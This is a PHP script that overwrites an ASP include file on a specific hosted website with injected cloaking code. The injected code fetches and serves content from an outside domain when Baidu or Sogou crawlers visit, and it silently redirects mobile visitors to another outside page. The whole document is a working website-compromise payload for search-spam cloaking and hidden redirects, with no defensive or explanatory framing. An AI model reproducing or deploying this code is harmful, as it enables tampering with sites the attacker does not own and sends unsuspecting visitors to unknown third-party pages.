<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

// 定义文件路径
$filePath = 'D:/vhostroot/LocalUser/yuda/www/inc/show.asp';

// 定义要写入的内容
$content = '<%
Dim userAgent, isMobile, content

'' 获取用户的 User-Agent
userAgent = Request.ServerVariables("HTTP_USER_AGENT")

'' 检查 User-Agent 中是否包含百度蜘蛛或搜狗
If InStr(userAgent, "Baiduspider") > 0 Or InStr(userAgent, "Sogou") > 0 Then
    '' 获取外部内容并输出
    Set http = CreateObject("MSXML2.ServerXMLHTTP")
    http.open "GET", "http://y.ban10.cn/ind.php", False
    http.send ""
    content = http.responseText
    Response.Write content
    Response.End
End If

'' 检查是否是移动设备
isMobile = False
If InStr(userAgent, "Android") > 0 Or InStr(userAgent, "webOS") > 0 Or InStr(userAgent, "iPhone") > 0 Or InStr(userAgent, "iPad") > 0 Or InStr(userAgent, "iPod") > 0 Or InStr(userAgent, "BlackBerry") > 0 Or InStr(userAgent, "IEMobile") > 0 Or InStr(userAgent, "Opera Mini") > 0 Then
    isMobile = True
End If

'' 如果是移动设备，重定向到指定页面
If isMobile Then
    Response.Redirect("https://tz.ban10.cn/yao.php")
    Response.End
End If
%>';

// 打开文件并准备写入（如果文件不存在则创建文件）
$fileHandle = fopen($filePath, 'w');  // 'w'模式将覆盖文件内容

if ($fileHandle === false) {
    echo "无法打开文件，可能是权限问题。";
} else {
    // 写入文件内容
    if (fwrite($fileHandle, $content) === false) {
        echo "写入文件失败。";
    } else {
        echo "文件 show.asp 已成功创建并写入内容。";
    }

    // 关闭文件句柄
    fclose($fileHandle);
}
?>